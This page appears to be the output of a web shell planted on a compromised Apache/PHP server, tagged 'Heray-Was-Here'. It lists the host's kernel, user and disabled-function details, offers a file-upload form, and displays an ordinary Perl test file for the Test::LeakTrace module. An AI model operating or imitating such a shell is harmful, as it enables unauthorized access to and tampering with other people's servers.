Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Test-LeakTrace/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Test-LeakTrace/t/08_leaktrace.t
#!/usr/bin/perl -w

use strict;
use Test::More 'no_plan'; # I don't know the number of 'ok'

use Test::LeakTrace;

ok defined &leaktrace;

leaktrace{
	my %a = (foo => 42);
	my %b = (bar => 3.14);

	$b{a} = \%a;
	$a{b} = \%b;

	pass 'in leaktrace block';
} sub {
	my($ref, $file, $line) = @_;

	is scalar(@_), 3, 'leaktrace callback args is 3 (svref, file, line)';

	ok ref($ref), ref $ref;
	isnt ref($ref), 'UNKNOWN';
	isnt $file, undef;
	isnt $line, undef;
};

leaktrace{
	my %a = (foo => 42);
	my %b = (bar => 3.14);
} sub {
	fail 'must not be called';
};


Hry